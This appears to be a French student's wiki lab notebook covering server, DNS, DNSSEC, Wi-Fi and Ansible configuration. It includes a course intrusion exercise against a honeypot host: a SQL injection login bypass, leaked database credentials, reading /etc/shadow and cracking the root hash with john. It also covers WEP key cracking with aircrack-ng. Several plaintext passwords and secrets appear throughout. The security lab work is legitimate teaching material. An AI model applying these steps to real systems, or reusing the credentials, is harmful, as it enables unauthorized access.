&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
